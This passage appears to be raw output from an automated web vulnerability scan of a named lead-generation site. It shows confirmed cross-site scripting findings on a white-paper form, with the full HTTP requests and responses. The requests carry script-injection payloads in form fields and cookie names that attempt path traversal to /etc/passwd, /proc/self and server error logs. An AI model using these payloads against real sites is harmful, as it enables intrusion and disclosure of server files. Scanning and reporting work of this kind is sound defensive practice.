class="clear"></div> <div class="grid_5 aboutUs" style="margin-left:13px;margin-top:20px;"><a class="secondaryAction" style="margin-left:0;text-decoration: none;"><strong>About InsideUp</strong></a> | <a href="management.html" class="secondaryAction">Management</a> | <a href="pressRelease.html" class="secondaryAction">News Releases</a> | <a href="careers.html" class="secondaryAction">Careers</a> | <a href="contactUs.html" class="secondaryAction">Contact Us</a></div>
<div class="grid_5 aboutUs" style="margin-left:13px;margin-top:25px;"><span>Use InsideUp to Acquire New Business Service Customers</span></div>
<div class="clear"></div>
<div class="grid_1 aboutUs" style="margin-left:13px;margin-top:25px;">
<p>Founded by performance-based marketing, online advertising and lead generation experts, InsideUp operates an online lead generation platform that's dedicated solely to serving the needs of business service providers and their potential customers. InsideUp's online media network, dynamic business-matching lead generation system and leading-edge marketing practices provide business service firms with ready-to-buy qualified and verified sales leads, all delivered in real time.</p>
<p>InsideUp's platform also helps companies who are seeking business services to locate the right service provider for their specific needs. Companies seeking business services use InsideUp's online platform to access helpful vendor selection tools and content plus pricing and feature comparisons from several service vendors. Companies receive competitive bids from only pre-screened, high-quality vendors who meet their specific business needs.</p>
<p>This is all made possible by InsideUp's unique, proprietary platform, which combines next generation business-matching and prospect-profiling technologies with powerful search engine, social media and lead generation technologies.</p>
<p style="margin-bottom:15px;">Clearly most business service providers need a cost-effective and qualified pipeline of fresh sales prospects who are actively interested in what they sell. These providers are keenly interested in all sales prospects who can be converted into long-term, satisfied customers. InsideUp puts these business service providers into direct contact with prospects who are actively in the marketplace to purchase the type of services they provide.</p>
<img src="/images/party-links.jpg" alt="Links" border="0" usemap="#Map">
<map name="Map">
<area shape="rect" coords="2,1,184,64" href="https://twitter.com/VendorSourcing" target="_blank">
<area shape="rect" coords="198,1,379,63" href="http://www.youtube.com/insideupvendors" target="_blank">
<area shape="rect" coords="390,1,575,60" href="http://insideup.com/blogs/b2bsourcing" target="_blank">
</map> </div>
<div class="grid_4">
<div class="aboutUsForm" >
<form method="post" action="/whitePapaper.html"> <input type="hidden" name="src" value="aboutUs"> <input type="hidden" name="iusrc" value="3"> <input type="hidden" name="parentPage" value="3"> <table width="284" border="0" cellpadding="0" cellspacing="0" style="background-color:#ededed;"> <tr> <td colspan="2" class="head"> To get more information and receive a free copy of white paper "What Every Business Service Marketer Should Know about Online Lead Generation," simply complete the form below: </td> </tr> <tr> <td style="width:100px;">First Name</td> <td style="text-align:left;"> <input name="firstName" type="text" value="Smith"/> </td> </tr> <tr> <td>Last Name</td> <td> <input name="lastName" type="text" value="Smith"/> </td> </tr> <tr> <td>Company</td> <td> <input name="company" type="text" value="'"--></style></script><script>netsparker(0x000367)</script>"/> </td> </tr> <tr> <td>Phone Number</td> <td> <input name="phone" type="text" value="3"/> </td> </tr> <tr> <td>Email Address</td> <td> <input name="email" type="text" value="netsparker@example.com"/> </td> </tr> <tr> <td>Website</td> <td> <input name="url" type="text" value="3"/> </td> </tr> <tr> <td>Your Company's <br> Services?</td> <td> <input name="companyServices" type="text" value="3"/> </td> </tr> <tr> <td>..

- /whitePapaper.html

/whitePapaper.html CONFIRMED

http://www.insideup.com/whitePapaper.html

Parameters

Parameter	Type	Value
company	POST	3
companyServices	POST	'"--></style></script><script>alert(0x0003B8)</script>
email	POST	netsparker@example.com
firstName	POST	Smith
iusrc	POST	3
lastName	POST	Smith
parentPage	POST	3
phone	POST	3
src	POST	aboutUs
Submit	POST	3
url	POST	3

Request

POST /whitePapaper.html HTTP/1.1
Referer: http://www.insideup.com/aboutUs.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 229
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

company=3&companyServices='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0003B8)%3c%2fscript%3e&email=netsparker%40example.com&firstName=Smith&iusrc=3&lastName=Smith&parentPage=3&phone=3&src=aboutUs&Submit=3&url=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:20:19 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=DA48E834479055D75BDFD5DF17795632; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content=""/> <meta name="description" content=""/> <meta name="robots" content="index; follow"/> <title></title> <link href="/css/reset.css" rel="stylesheet" type="text/css"><link href="/css/grid.css" rel="stylesheet" type="text/css"><link href="/css/newstyle.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/jquery-1.2.1.js"></script><script type="text/javascript" src="/js/ajax.js"></script><script type="text/javascript" src="/js/ajax-dynamic-list.js"></script><script type="text/javascript" src="/js/default.js"></script><script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {}</script></head><body><div class="container"> <div class="wrapper"> <div class="header"> <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value=""> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('White Paper Form',0,'')" alt="" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerAdvertiseActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div> <div class="clear"></div> <div class="grid_5 aboutUs" style="margin-left:13px;margin-top:20px;"><a class="secondaryAction" style="margin-left:0;text-decoration: none;"><strong>About InsideUp</strong></a> | <a href="management.html" class="secondaryAction">Management</a> | <a href="pressRelease.html" class="secondaryAction">News Releases</a> | <a href="careers.html" class="secondaryAction">Careers</a> | <a href="contactUs.html" class="secondaryAction">Contact Us</a></div>
<div class="grid_5 aboutUs" style="margin-left:13px;margin-top:25px;"><span>Use InsideUp to Acquire New Business Service Customers</span></div>
<div class="clear"></div>
<div class="grid_1 aboutUs" style="margin-left:13px;margin-top:25px;">
<p>Founded by performance-based marketing, online advertising and lead generation experts, InsideUp operates an online lead generation platform that's dedicated solely to serving the needs of business service providers and their potential customers. InsideUp's online media network, dynamic business-matching lead generation system and leading-edge marketing practices provide business service firms with ready-to-buy qualified and verified sales leads, all delivered in real time.</p>
<p>InsideUp's platform also helps companies who are seeking business services to locate the right service provider for their specific needs. Companies seeking business services use InsideUp's online platform to access helpful vendor selection tools and content plus pricing and feature comparisons from several service vendors. Companies receive competitive bids from only pre-screened, high-quality vendors who meet their specific business needs.</p>
<p>This is all made possible by InsideUp's unique, proprietary platform, which combines next generation business-matching and prospect-profiling technologies with powerful search engine, social media and lead generation technologies.</p>
<p style="margin-bottom:15px;">Clearly most business service providers need a cost-effective and qualified pipeline of fresh sales prospects who are actively interested in what they sell. These providers are keenly interested in all sales prospects who can be converted into long-term, satisfied customers. InsideUp puts these business service providers into direct contact with prospects who are actively in the marketplace to purchase the type of services they provide.</p>
<img src="/images/party-links.jpg" alt="Links" border="0" usemap="#Map">
<map name="Map">
<area shape="rect" coords="2,1,184,64" href="https://twitter.com/VendorSourcing" target="_blank">
<area shape="rect" coords="198,1,379,63" href="http://www.youtube.com/insideupvendors" target="_blank">
<area shape="rect" coords="390,1,575,60" href="http://insideup.com/blogs/b2bsourcing" target="_blank">
</map> </div>
<div class="grid_4">
<div class="aboutUsForm" >
<form method="post" action="/whitePapaper.html"> <input type="hidden" name="src" value="aboutUs"> <input type="hidden" name="iusrc" value="3"> <input type="hidden" name="parentPage" value="3"> <table width="284" border="0" cellpadding="0" cellspacing="0" style="background-color:#ededed;"> <tr> <td colspan="2" class="head"> To get more information and receive a free copy of white paper "What Every Business Service Marketer Should Know about Online Lead Generation," simply complete the form below: </td> </tr> <tr> <td style="width:100px;">First Name</td> <td style="text-align:left;"> <input name="firstName" type="text" value="Smith"/> </td> </tr> <tr> <td>Last Name</td> <td> <input name="lastName" type="text" value="Smith"/> </td> </tr> <tr> <td>Company</td> <td> <input name="company" type="text" value="3"/> </td> </tr> <tr> <td>Phone Number</td> <td> <input name="phone" type="text" value="3"/> </td> </tr> <tr> <td>Email Address</td> <td> <input name="email" type="text" value="netsparker@example.com"/> </td> </tr> <tr> <td>Website</td> <td> <input name="url" type="text" value="3"/> </td> </tr> <tr> <td>Your Company's <br> Services?</td> <td> <input name="companyServices" type="text" value="'"--></style></script><script>netsparker(0x0003B8)</script>"/> </td> </tr> <tr> <td>..

- /whitePapaper.html

/whitePapaper.html CONFIRMED

http://www.insideup.com/whitePapaper.html

Parameters

Parameter	Type	Value
company	POST	3
companyServices	POST	3
email	POST	'"--></style></script><script>alert(0x0003F5)</script>
firstName	POST	Smith
iusrc	POST	3
lastName	POST	Smith
parentPage	POST	3
phone	POST	3
src	POST	aboutUs
Submit	POST	3
url	POST	3

Request

POST /whitePapaper.html HTTP/1.1
Referer: http://www.insideup.com/aboutUs.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 206
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

company=3&companyServices=3&email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0003F5)%3c%2fscript%3e&firstName=Smith&iusrc=3&lastName=Smith&parentPage=3&phone=3&src=aboutUs&Submit=3&url=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:20:28 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=0D21F11002A3C6CBCAE1E116BCC8AE25; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
